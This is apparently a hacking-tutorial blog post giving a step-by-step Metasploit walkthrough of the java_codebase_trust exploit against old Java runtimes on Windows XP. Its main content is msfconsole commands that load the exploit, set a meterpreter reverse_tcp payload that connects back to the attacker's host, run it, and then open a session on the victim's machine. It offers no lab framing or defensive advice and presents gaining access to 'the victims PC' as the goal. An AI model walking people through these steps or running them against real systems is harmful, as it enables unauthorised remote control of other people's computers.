Features Of This Module
This module exploits vulnerability in the Java Runtime Environment that allows an attacker to run an applet outside of the Java Sandbox. When an applet is invoked with: 1. A “codebase” parameter that points at a trusted directory 2. A “code” parameter that is a URL that does not contain any dots the applet will run outside of the sandbox. This vulnerability affects JRE prior to version 6 update 24.
>Exploit Targets
Windows XP service pack 2
Windows XP service pack 3
Java 6 Standard Edition prior to update 20
Java 6 Standard Edition Update 18
Requirement
Attacker: Backtrack 5
Victim PC: Windows XP
Open backtrack terminal type msfconsole
Now type use exploit/windows/browser/java_codebase_trust
Msf exploit (java_codebase_trust)>set payload java/meterpreter/reverse_tcp
Msf exploit (java_codebase_trust)>set lhost xxx.xxx.x.x (IP of Local Host)
Msf exploit (java_codebase_trust)>set srvhost xxx.xxx.x.x(This must be an address on the local machine)
Msf exploit (java_codebase_trust)>set uripath javatrust (The Url to use for this exploit)
Msf exploit (java_codebase_trust)>exploit
Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“
0 comments:
Post a Comment
Got any doubts or feedbacks ?
Feel free to comment !